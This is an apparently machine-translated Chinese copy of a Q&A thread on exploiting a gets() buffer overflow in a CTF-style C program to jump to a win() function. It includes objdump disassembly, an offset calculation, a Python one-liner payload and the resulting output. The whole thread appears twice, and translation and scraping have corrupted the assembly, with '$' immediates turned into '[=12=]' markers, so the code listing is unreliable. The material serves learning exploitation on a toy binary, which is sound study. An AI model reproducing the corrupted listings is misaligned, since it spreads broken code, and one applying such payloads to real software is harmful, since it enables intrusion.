缓冲区溢出:覆盖 CH
Buffer overflow: overrwrite CH
我有一个易受缓冲区溢出攻击的程序。易受攻击的函数有两个参数。第一个是标准的 4 个字节。然而,对于第二个,程序执行以下操作:
xor ch, 0
...
cmp dword ptr [ebp+10h], 0F00DB4BE
现在,如果我提供 2 个不同的 4 字节参数,作为我利用的一部分,即 ABCDEFGH
(假设 ABCD
是第一个参数,EFGH
第二个),CH
变成 G
。所以我自然而然地想到制作以下内容(假设 ABCD
是正确的):
ABCD\x00\x0d\x00\x00
然而,nullbutes 似乎被忽略了!在 CH = 0
和 CL = 0xd
中发送上述结果。无论我把 \x0d
放在哪里,都会发生这种情况,即:
ABCD\x0d\x00\x00\x00
ABCD\x00\x0d\x00\x00
ABCD\x00\x00\x0d\x00
ABCD\x00\x00\x00\x0d
都产生相同的行为。
我怎样才能继续只覆盖 CH
而将 ECX
的其余部分保留为空?
编辑:请参阅下面我自己的回答。简短的版本是 bash 忽略空字节,它部分解释了为什么该漏洞利用在本地不起作用。具体原因可以参考here。感谢 Michael Petch 指出!
来源:
#include <stdio.h>
#include <stdlib.h>
void win(long long arg1, int arg2)
{
if (arg1 != 0x14B4DA55 || arg2 != 0xF00DB4BE)
{
puts("Close, but not quite.");
exit(1);
}
printf("You win!\n");
}
void vuln()
{
char buf[16];
printf("Type something>");
gets(buf);
printf("You typed %s!\n", buf);
}
int main()
{
/* Disable buffering on stdout */
setvbuf(stdout, NULL, _IONBF, 0);
vuln();
return 0;
}
objdump
反汇编可执行文件的相关部分是:
080491c2 <win>:
80491c2: 55 push %ebp
80491c3: 89 e5 mov %esp,%ebp
80491c5: 81 ec 28 01 00 00 sub [=12=]x128,%esp
80491cb: 8b 4d 08 mov 0x8(%ebp),%ecx
80491ce: 89 8d e0 fe ff ff mov %ecx,-0x120(%ebp)
80491d4: 8b 4d 0c mov 0xc(%ebp),%ecx
80491d7: 89 8d e4 fe ff ff mov %ecx,-0x11c(%ebp)
80491dd: 8b 8d e0 fe ff ff mov -0x120(%ebp),%ecx
80491e3: 81 f1 55 da b4 14 xor [=12=]x14b4da55,%ecx
80491e9: 89 c8 mov %ecx,%eax
80491eb: 8b 8d e4 fe ff ff mov -0x11c(%ebp),%ecx
80491f1: 80 f5 00 xor [=12=]x0,%ch
80491f4: 89 ca mov %ecx,%edx
80491f6: 09 d0 or %edx,%eax
80491f8: 85 c0 test %eax,%eax
80491fa: 75 09 jne 8049205 <win+0x43>
80491fc: 81 7d 10 be b4 0d f0 cmpl [=12=]xf00db4be,0x10(%ebp)
8049203: 74 1a je 804921f <win+0x5d>
8049205: 83 ec 0c sub [=12=]xc,%esp
8049208: 68 08 a0 04 08 push [=12=]x804a008
804920d: e8 4e fe ff ff call 8049060 <puts@plt>
8049212: 83 c4 10 add [=12=]x10,%esp
8049215: 83 ec 0c sub [=12=]xc,%esp
8049218: 6a 01 push [=12=]x1
804921a: e8 51 fe ff ff call 8049070 <exit@plt>
804921f: 83 ec 0c sub [=12=]xc,%esp
8049222: 68 1e a0 04 08 push [=12=]x804a01e
8049227: e8 34 fe ff ff call 8049060 <puts@plt>
804922c: 83 c4 10 add [=12=]x10,%esp
804922f: 83 ec 08 sub [=12=]x8,%esp
8049232: 68 27 a0 04 08 push [=12=]x804a027
8049237: 68 29 a0 04 08 push [=12=]x804a029
804923c: e8 5f fe ff ff call 80490a0 <fopen@plt>
8049241: 83 c4 10 add [=12=]x10,%esp
8049244: 89 45 f4 mov %eax,-0xc(%ebp)
8049247: 83 7d f4 00 cmpl [=12=]x0,-0xc(%ebp)
804924b: 75 12 jne 804925f <win+0x9d>
804924d: 83 ec 0c sub [=12=]xc,%esp
8049250: 68 34 a0 04 08 push [=12=]x804a034
8049255: e8 06 fe ff ff call 8049060 <puts@plt>
804925a: 83 c4 10 add [=12=]x10,%esp
804925d: eb 31 jmp 8049290 <win+0xce>
804925f: 83 ec 04 sub [=12=]x4,%esp
8049262: ff 75 f4 pushl -0xc(%ebp)
8049265: 68 00 01 00 00 push [=12=]x100
804926a: 8d 85 f4 fe ff ff lea -0x10c(%ebp),%eax
8049270: 50 push %eax
8049271: e8 da fd ff ff call 8049050 <fgets@plt>
8049276: 83 c4 10 add [=12=]x10,%esp
8049279: 83 ec 08 sub [=12=]x8,%esp
804927c: 8d 85 f4 fe ff ff lea -0x10c(%ebp),%eax
8049282: 50 push %eax
8049283: 68 86 a0 04 08 push [=12=]x804a086
8049288: e8 a3 fd ff ff call 8049030 <printf@plt>
804928d: 83 c4 10 add [=12=]x10,%esp
8049290: 90 nop
8049291: c9 leave
8049292: c3 ret
08049293 <vuln>:
8049293: 55 push %ebp
8049294: 89 e5 mov %esp,%ebp
8049296: 83 ec 18 sub [=12=]x18,%esp
8049299: 83 ec 0c sub [=12=]xc,%esp
804929c: 68 90 a0 04 08 push [=12=]x804a090
80492a1: e8 8a fd ff ff call 8049030 <printf@plt>
80492a6: 83 c4 10 add [=12=]x10,%esp
80492a9: 83 ec 0c sub [=12=]xc,%esp
80492ac: 8d 45 e8 lea -0x18(%ebp),%eax
80492af: 50 push %eax
80492b0: e8 8b fd ff ff call 8049040 <gets@plt>
80492b5: 83 c4 10 add [=12=]x10,%esp
80492b8: 83 ec 08 sub [=12=]x8,%esp
80492bb: 8d 45 e8 lea -0x18(%ebp),%eax
80492be: 50 push %eax
80492bf: 68 a0 a0 04 08 push [=12=]x804a0a0
80492c4: e8 67 fd ff ff call 8049030 <printf@plt>
80492c9: 83 c4 10 add [=12=]x10,%esp
80492cc: 90 nop
80492cd: c9 leave
80492ce: c3 ret
080492cf <main>:
80492cf: 8d 4c 24 04 lea 0x4(%esp),%ecx
80492d3: 83 e4 f0 and [=12=]xfffffff0,%esp
80492d6: ff 71 fc pushl -0x4(%ecx)
80492d9: 55 push %ebp
80492da: 89 e5 mov %esp,%ebp
80492dc: 51 push %ecx
80492dd: 83 ec 04 sub [=12=]x4,%esp
80492e0: a1 34 c0 04 08 mov 0x804c034,%eax
80492e5: 6a 00 push [=12=]x0
80492e7: 6a 02 push [=12=]x2
80492e9: 6a 00 push [=12=]x0
80492eb: 50 push %eax
80492ec: e8 9f fd ff ff call 8049090 <setvbuf@plt>
80492f1: 83 c4 10 add [=12=]x10,%esp
80492f4: e8 9a ff ff ff call 8049293 <vuln>
80492f9: b8 00 00 00 00 mov [=12=]x0,%eax
80492fe: 8b 4d fc mov -0x4(%ebp),%ecx
8049301: c9 leave
8049302: 8d 61 fc lea -0x4(%ecx),%esp
8049305: c3 ret
不清楚您为什么对 ECX
中的值或 win
函数内的 xor ch, 0
指令挂断。从 C 代码可以清楚地看出,对胜利的检查要求 64 位 (long long
) arg1
为 0x14B4DA55 和 arg2
需要为 0xF00DB4BE。当满足该条件时,它将打印 You win!
我们需要某种缓冲区漏洞,它能够执行 win
函数并让它看起来像是被传递了第一个参数(64 位 long long
)和一个 32 -bit int
作为第二个参数。
最明显的方法是在函数 vuln
中结束 运行 buf
战略性地覆盖 return 地址并将其替换为 win
。在反汇编输出中,win
位于 0x080491c2。我们需要写入 0x080491c2,然后是 return 地址的一些虚拟值,然后是 64 位值 0x14B4DA55(与 0x0000000014B4DA55 相同),然后是 32 位值 0xF00DB4BE.
需要 return 地址的虚拟值,因为我们需要在堆栈上模拟函数调用。我们不会发出 call
指令,所以我们必须让它看起来好像已经完成了。目标是打印 You win!
之后程序是否崩溃是不相关的。
return 地址 (win
)、arg1
和 arg2
必须以相反的顺序存储为字节,因为 x86 处理器是小端。
最后一个大问题是我们必须向 gets
提供多少字节才能超过 运行 缓冲区以到达 return 地址?您可以使用反复试验(暴力破解)来解决这个问题,但我们可以查看对 gets
:
调用的反汇编
80492ac: 8d 45 e8 lea -0x18(%ebp),%eax
80492af: 50 push %eax
80492b0: e8 8b fd ff ff call 8049040 <gets@plt
LEA
用于计算 buf
在堆栈上的地址(有效地址),并将其作为第一个参数传递给 gets
。 0x18 是 24 字节(十进制)。尽管 buf
被定义为 16 字节长度,但编译器还分配了额外的 space 用于对齐目的。我们必须添加额外的 4 个字节来解释函数序言将 EBP
压入堆栈的事实。即总共 28 个字节(24+4)到达堆栈上 return 地址的位置。
使用PYTHON生成输入序列在很多教程中很常见。直接在 shell 字符串中嵌入 NUL([=39=]
) 字符可能会导致 shell 程序在 NUL 字节(issue that people have when using BASH)处过早终止字符串。我们可以使用类似以下的方式将字节序列通过管道传输到我们的程序:
python -c 'print "A"*28+"\xc2\x91\x04\x08" \
+"B"*4+"\x55\xda\xb4\x14\x00\x00\x00\x00\xbe\xb4\x0d\xf0"' | ./progname
其中 progname
是您的可执行文件的名称。当 运行 时,它应该类似于:
Type something>You typed AAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBUڴ!
You win!
Segmentation fault
注意: A
和 B
之间构成 return 地址的 4 个字符不可打印,因此它们不会出现在控制台输出中,但它们以及所有其他不可打印的字符仍然存在。
作为对我自己的问题的有限回答,特别是关于为什么忽略空字节:
这似乎是 bash 似乎忽略空字节的问题
我的许多其他同行在编写漏洞利用程序时都遇到了同样的问题。例如,当使用 gdb
时,它可以在服务器上运行,但不能在本地运行。 Bash 将简单地忽略空字节,因此 \x55\xda\xb4\x14\x00\x00\x00\x00\xbe\xb4\x0d\xf0
将被读取为 \x55\xda\xb4\x14\xbe\xb4\x0d\xf0
。我仍然不明白它为什么会那样做的确切原因,但记住这一点是件好事!
我有一个易受缓冲区溢出攻击的程序。易受攻击的函数有两个参数。第一个是标准的 4 个字节。然而,对于第二个,程序执行以下操作:
xor ch, 0
...
cmp dword ptr [ebp+10h], 0F00DB4BE
现在,如果我提供 2 个不同的 4 字节参数,作为我利用的一部分,即 ABCDEFGH
(假设 ABCD
是第一个参数,EFGH
第二个),CH
变成 G
。所以我自然而然地想到制作以下内容(假设 ABCD
是正确的):
ABCD\x00\x0d\x00\x00
然而,nullbutes 似乎被忽略了!在 CH = 0
和 CL = 0xd
中发送上述结果。无论我把 \x0d
放在哪里,都会发生这种情况,即:
ABCD\x0d\x00\x00\x00
ABCD\x00\x0d\x00\x00
ABCD\x00\x00\x0d\x00
ABCD\x00\x00\x00\x0d
都产生相同的行为。
我怎样才能继续只覆盖 CH
而将 ECX
的其余部分保留为空?
编辑:请参阅下面我自己的回答。简短的版本是 bash 忽略空字节,它部分解释了为什么该漏洞利用在本地不起作用。具体原因可以参考here。感谢 Michael Petch 指出!
来源:
#include <stdio.h>
#include <stdlib.h>
void win(long long arg1, int arg2)
{
if (arg1 != 0x14B4DA55 || arg2 != 0xF00DB4BE)
{
puts("Close, but not quite.");
exit(1);
}
printf("You win!\n");
}
void vuln()
{
char buf[16];
printf("Type something>");
gets(buf);
printf("You typed %s!\n", buf);
}
int main()
{
/* Disable buffering on stdout */
setvbuf(stdout, NULL, _IONBF, 0);
vuln();
return 0;
}
objdump
反汇编可执行文件的相关部分是:
080491c2 <win>:
80491c2: 55 push %ebp
80491c3: 89 e5 mov %esp,%ebp
80491c5: 81 ec 28 01 00 00 sub [=12=]x128,%esp
80491cb: 8b 4d 08 mov 0x8(%ebp),%ecx
80491ce: 89 8d e0 fe ff ff mov %ecx,-0x120(%ebp)
80491d4: 8b 4d 0c mov 0xc(%ebp),%ecx
80491d7: 89 8d e4 fe ff ff mov %ecx,-0x11c(%ebp)
80491dd: 8b 8d e0 fe ff ff mov -0x120(%ebp),%ecx
80491e3: 81 f1 55 da b4 14 xor [=12=]x14b4da55,%ecx
80491e9: 89 c8 mov %ecx,%eax
80491eb: 8b 8d e4 fe ff ff mov -0x11c(%ebp),%ecx
80491f1: 80 f5 00 xor [=12=]x0,%ch
80491f4: 89 ca mov %ecx,%edx
80491f6: 09 d0 or %edx,%eax
80491f8: 85 c0 test %eax,%eax
80491fa: 75 09 jne 8049205 <win+0x43>
80491fc: 81 7d 10 be b4 0d f0 cmpl [=12=]xf00db4be,0x10(%ebp)
8049203: 74 1a je 804921f <win+0x5d>
8049205: 83 ec 0c sub [=12=]xc,%esp
8049208: 68 08 a0 04 08 push [=12=]x804a008
804920d: e8 4e fe ff ff call 8049060 <puts@plt>
8049212: 83 c4 10 add [=12=]x10,%esp
8049215: 83 ec 0c sub [=12=]xc,%esp
8049218: 6a 01 push [=12=]x1
804921a: e8 51 fe ff ff call 8049070 <exit@plt>
804921f: 83 ec 0c sub [=12=]xc,%esp
8049222: 68 1e a0 04 08 push [=12=]x804a01e
8049227: e8 34 fe ff ff call 8049060 <puts@plt>
804922c: 83 c4 10 add [=12=]x10,%esp
804922f: 83 ec 08 sub [=12=]x8,%esp
8049232: 68 27 a0 04 08 push [=12=]x804a027
8049237: 68 29 a0 04 08 push [=12=]x804a029
804923c: e8 5f fe ff ff call 80490a0 <fopen@plt>
8049241: 83 c4 10 add [=12=]x10,%esp
8049244: 89 45 f4 mov %eax,-0xc(%ebp)
8049247: 83 7d f4 00 cmpl [=12=]x0,-0xc(%ebp)
804924b: 75 12 jne 804925f <win+0x9d>
804924d: 83 ec 0c sub [=12=]xc,%esp
8049250: 68 34 a0 04 08 push [=12=]x804a034
8049255: e8 06 fe ff ff call 8049060 <puts@plt>
804925a: 83 c4 10 add [=12=]x10,%esp
804925d: eb 31 jmp 8049290 <win+0xce>
804925f: 83 ec 04 sub [=12=]x4,%esp
8049262: ff 75 f4 pushl -0xc(%ebp)
8049265: 68 00 01 00 00 push [=12=]x100
804926a: 8d 85 f4 fe ff ff lea -0x10c(%ebp),%eax
8049270: 50 push %eax
8049271: e8 da fd ff ff call 8049050 <fgets@plt>
8049276: 83 c4 10 add [=12=]x10,%esp
8049279: 83 ec 08 sub [=12=]x8,%esp
804927c: 8d 85 f4 fe ff ff lea -0x10c(%ebp),%eax
8049282: 50 push %eax
8049283: 68 86 a0 04 08 push [=12=]x804a086
8049288: e8 a3 fd ff ff call 8049030 <printf@plt>
804928d: 83 c4 10 add [=12=]x10,%esp
8049290: 90 nop
8049291: c9 leave
8049292: c3 ret
08049293 <vuln>:
8049293: 55 push %ebp
8049294: 89 e5 mov %esp,%ebp
8049296: 83 ec 18 sub [=12=]x18,%esp
8049299: 83 ec 0c sub [=12=]xc,%esp
804929c: 68 90 a0 04 08 push [=12=]x804a090
80492a1: e8 8a fd ff ff call 8049030 <printf@plt>
80492a6: 83 c4 10 add [=12=]x10,%esp
80492a9: 83 ec 0c sub [=12=]xc,%esp
80492ac: 8d 45 e8 lea -0x18(%ebp),%eax
80492af: 50 push %eax
80492b0: e8 8b fd ff ff call 8049040 <gets@plt>
80492b5: 83 c4 10 add [=12=]x10,%esp
80492b8: 83 ec 08 sub [=12=]x8,%esp
80492bb: 8d 45 e8 lea -0x18(%ebp),%eax
80492be: 50 push %eax
80492bf: 68 a0 a0 04 08 push [=12=]x804a0a0
80492c4: e8 67 fd ff ff call 8049030 <printf@plt>
80492c9: 83 c4 10 add [=12=]x10,%esp
80492cc: 90 nop
80492cd: c9 leave
80492ce: c3 ret
080492cf <main>:
80492cf: 8d 4c 24 04 lea 0x4(%esp),%ecx
80492d3: 83 e4 f0 and [=12=]xfffffff0,%esp
80492d6: ff 71 fc pushl -0x4(%ecx)
80492d9: 55 push %ebp
80492da: 89 e5 mov %esp,%ebp
80492dc: 51 push %ecx
80492dd: 83 ec 04 sub [=12=]x4,%esp
80492e0: a1 34 c0 04 08 mov 0x804c034,%eax
80492e5: 6a 00 push [=12=]x0
80492e7: 6a 02 push [=12=]x2
80492e9: 6a 00 push [=12=]x0
80492eb: 50 push %eax
80492ec: e8 9f fd ff ff call 8049090 <setvbuf@plt>
80492f1: 83 c4 10 add [=12=]x10,%esp
80492f4: e8 9a ff ff ff call 8049293 <vuln>
80492f9: b8 00 00 00 00 mov [=12=]x0,%eax
80492fe: 8b 4d fc mov -0x4(%ebp),%ecx
8049301: c9 leave
8049302: 8d 61 fc lea -0x4(%ecx),%esp
8049305: c3 ret
不清楚您为什么对 ECX
中的值或 win
函数内的 xor ch, 0
指令挂断。从 C 代码可以清楚地看出,对胜利的检查要求 64 位 (long long
) arg1
为 0x14B4DA55 和 arg2
需要为 0xF00DB4BE。当满足该条件时,它将打印 You win!
我们需要某种缓冲区漏洞,它能够执行 win
函数并让它看起来像是被传递了第一个参数(64 位 long long
)和一个 32 -bit int
作为第二个参数。
最明显的方法是在函数 vuln
中结束 运行 buf
战略性地覆盖 return 地址并将其替换为 win
。在反汇编输出中,win
位于 0x080491c2。我们需要写入 0x080491c2,然后是 return 地址的一些虚拟值,然后是 64 位值 0x14B4DA55(与 0x0000000014B4DA55 相同),然后是 32 位值 0xF00DB4BE.
需要 return 地址的虚拟值,因为我们需要在堆栈上模拟函数调用。我们不会发出 call
指令,所以我们必须让它看起来好像已经完成了。目标是打印 You win!
之后程序是否崩溃是不相关的。
return 地址 (win
)、arg1
和 arg2
必须以相反的顺序存储为字节,因为 x86 处理器是小端。
最后一个大问题是我们必须向 gets
提供多少字节才能超过 运行 缓冲区以到达 return 地址?您可以使用反复试验(暴力破解)来解决这个问题,但我们可以查看对 gets
:
80492ac: 8d 45 e8 lea -0x18(%ebp),%eax 80492af: 50 push %eax 80492b0: e8 8b fd ff ff call 8049040 <gets@plt
LEA
用于计算 buf
在堆栈上的地址(有效地址),并将其作为第一个参数传递给 gets
。 0x18 是 24 字节(十进制)。尽管 buf
被定义为 16 字节长度,但编译器还分配了额外的 space 用于对齐目的。我们必须添加额外的 4 个字节来解释函数序言将 EBP
压入堆栈的事实。即总共 28 个字节(24+4)到达堆栈上 return 地址的位置。
使用PYTHON生成输入序列在很多教程中很常见。直接在 shell 字符串中嵌入 NUL([=39=]
) 字符可能会导致 shell 程序在 NUL 字节(issue that people have when using BASH)处过早终止字符串。我们可以使用类似以下的方式将字节序列通过管道传输到我们的程序:
python -c 'print "A"*28+"\xc2\x91\x04\x08" \
+"B"*4+"\x55\xda\xb4\x14\x00\x00\x00\x00\xbe\xb4\x0d\xf0"' | ./progname
其中 progname
是您的可执行文件的名称。当 运行 时,它应该类似于:
Type something>You typed AAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBUڴ! You win! Segmentation fault
注意: A
和 B
之间构成 return 地址的 4 个字符不可打印,因此它们不会出现在控制台输出中,但它们以及所有其他不可打印的字符仍然存在。
作为对我自己的问题的有限回答,特别是关于为什么忽略空字节:
这似乎是 bash 似乎忽略空字节的问题
我的许多其他同行在编写漏洞利用程序时都遇到了同样的问题。例如,当使用 gdb
时,它可以在服务器上运行,但不能在本地运行。 Bash 将简单地忽略空字节,因此 \x55\xda\xb4\x14\x00\x00\x00\x00\xbe\xb4\x0d\xf0
将被读取为 \x55\xda\xb4\x14\xbe\xb4\x0d\xf0
。我仍然不明白它为什么会那样做的确切原因,但记住这一点是件好事!